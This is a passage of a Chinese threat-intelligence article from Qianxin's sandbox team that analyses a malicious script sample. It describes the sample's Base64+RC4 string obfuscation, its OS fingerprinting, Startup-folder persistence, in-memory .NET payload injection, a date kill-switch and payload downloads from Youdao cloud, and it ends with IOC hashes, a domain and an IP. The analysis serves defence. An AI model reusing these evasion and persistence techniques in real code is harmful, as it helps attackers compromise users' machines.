src="https://wechat2rss.xlab.app/img-proxy/?k=4a446cb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAQwE3en5gYML1hs7PwsLIibld6zptF6MFzhfOMUftYy5dANtDs6Uyl1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图14 dll 内容</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中的字符串被加密，存储在一个字符串数组中，在需要时调用函数动态解密字符串。字符串解密前，都会对数组中的字符串进行预处理，如移除不可见的 Unicode 字符 [U+202E]（右到左覆盖符）、正则表达式 /[MjUZEFmOtuniAhrRQt=]/g 移除 base64 干扰字符、通过 shift / push / pop 操作改变数组元素顺序等。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005241" class="rich_pages wxw-img" data-ratio="0.5793450881612091" data-type="png" data-w="794" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=76936647&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAqmoppW5f3ABiaspWKm1H68UybkqymhpSE03S4LlkDIqPRtU8xicU9k6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图15 数组预处理</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">字符串解密算法为 Base64 + RC4。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005246" class="rich_pages wxw-img" data-ratio="0.6212962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=613beef6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnACA5ynZnBDFjXIrdtyWoFpIUy1Z9wzZt70DxIhicCHKG4btj30r3Kicyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图16 字符串解密算法</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析浏览器的 navigator.userAgent 字符串关键词，实现对用户操作系统的名称和版本的检测。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005248" class="rich_pages wxw-img" data-ratio="0.5277777777777778" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=574e31e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnACyROxc0jia95CGiamiagNq72iaYBWZpiby05UJia4sDDBDTNWGUsQG2ba43Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图17 检测操作系统的名称和版本</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">脚本中的 codeRunner3 函数可以执行多种操作：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">创建临时目录：在 C:\Users\Public 下创建随机命名的目录结构。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件解压/释放：从内置资源或网络获取加密的恶意文件，解压到临时目录。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">文件操作：复制、移动和重命名恶意文件，主要针对 .exe、.dll、.bat等可执行文件。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">创建快捷方式：在启动文件夹创建恶意程序的快捷方式。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">自启动注册：通过快捷方式实现系统启动时自动运行恶意代码。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">进程创建：使用 WScript.Shell 的 Run 方法执行目标程序。</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">延迟执行：使用 Sleep 函数延迟执行。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005247" class="rich_pages wxw-img" data-ratio="0.4842592592592593" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=84ed6e8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAkicOmhJVxvPIflbL7ria0g3sAEQR5F8R41rqibZPhf1s4FYUWAXYWdXgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图18 codeRunner3 函数</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">dotnet4 函数会检测系统是否安装了 .NET Framework 4.0 ，base64 解码前面的 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">serialized_obj4</span></strong><span leaf=""> 和 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">serialized_obj3</span></strong><span leaf=""> 的内容，然后将解码的数据注入到内存中执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005249" class="rich_pages wxw-img" data-ratio="0.43796296296296294" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3922ec80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAH8NTOTCKdNvWACrwQCibYOL9WarjCGlYGZDKXvl5oibiaUuicT6826NKsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图19 dotnet4 函数</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">只在特定日期 2025/11/26 20:42:00 前有效，过期后自动停止执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005245" class="rich_pages wxw-img" data-ratio="0.12996941896024464" data-type="png" data-w="654" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b6d22c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnAtF3RlgWcYKImSic8ohFicabPuZGET3w2FseSbQjCaSBZ7Wb8MTpvLgqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图20 特定日期触发</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">函数 downloadFromYouDaoYun 支持从有道云存储服务下载加密的恶意负载。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005250" class="rich_pages wxw-img" data-ratio="0.637962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1da686c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lMDLYA157rwf7O0qyxxOnArbAlMrg1rl6liaV5SsjTH3smHA3XHLznHPmkSPmhTVIfSxy6XSMVqCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图21 downloadFromYouDaoYun 函数</span></center><div data-role="title" data-tools="135编辑器" data-id="161894" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div><div style="display: flex;justify-content: flex-start;"><div style="margin-bottom: -25px;"><div style="border-radius: 100%;padding: 6px;background: linear-gradient(to left,rgba(86,222,209,0.8),transparent);box-sizing:border-box;"><div style="width: 32px;height: 32px;border-radius: 100%;background-color: #59e3d1;text-align: center;line-height: 34px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;"><strong><span leaf="">05</span></strong></p></div></div></div></div><div style="margin-left: 20px;"><div style="background: linear-gradient(to right,#084cc7,#137edd);border-radius: 15px 0 15px 0;padding: 8px 20px 8px 35px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">IOC</span></span></p></div></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="nginx"><code><span leaf=""><span class="code-snippet__attribute">e5e3578329be22d26443d7f6c6690485</span></span></code><br/><code><span leaf="">4fa09a60c9b0df80af1a9bac26c75f6b</span></code><br/><code><span leaf="">1d98648e97fa1dd0a5befa07018aecae</span></code><br/><code><span leaf="">3c81e25ae167b188fea030c86ca1dc63</span></code><br/><code><span leaf="">009d53d4049374836e15737821054f89</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意 IOC</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">xiaoshihou</span>[.]name</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">202</span>.<span class="code-snippet__number">95</span>.<span class="code-snippet__number">6</span>[.]<span class="code-snippet__number">233</span></span></code><br/></pre></p><p style="text-align: left;"><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">报告链接</span></strong><span leaf=""><br/></span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">分析报告：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=e2a13eddd049d417bc3f5e21a64b0e95&amp;sk=24181101" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=e2a13eddd049d417bc3f5e21a64b0e95&amp;sk=24181101</a></span></span></p><div data-role="title" data-tools="135编辑器" data-id="161894" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div><div style="display: flex;justify-content: flex-start;"><div style="margin-bottom: -25px;"><div style="border-radius: 100%;padding: 6px;background: linear-gradient(to left,rgba(86,222,209,0.8),transparent);box-sizing:border-box;"><div style="width: 32px;height: 32px;border-radius: 100%;background-color: #59e3d1;text-align: center;line-height: 34px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;"><strong><span leaf="">06</span></strong></p></div></div></div></div><div style="margin-left: 20px;"><div style="background: linear-gradient(to right,#084cc7,#137edd);border-radius: 15px 0 15px 0;padding: 8px 20px 8px 35px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align: center;"><span leaf=""><span textstyle="" style="font-weight: bold;">技术支持与反馈</span></span></p></div></div></div></div></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247488902">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f2fb5e66&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488902%26idx%3D1%26sn%3Df347ff25b39ddd6af1090549aae3587a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 04 Dec 2025 16:13:00 +0800</pubDate>
    </item>
    <item>
      <title>【天穹】压缩包也能“越狱”？天穹沙箱新增目录穿越检测能力</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488876&amp;idx=1&amp;sn=610f886f817498bb5b869948d80a2e40</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-10-23 15:03</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8d654947&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96luwErSIIgIfgjE5aibDKRvP3icXFauItnUkdJCBeuWq2CickTF1uN0rslQFcHsNKQfoFJsdmwb2bCtA%2F0%3Fwx_fmt%3Djpeg"/></p>


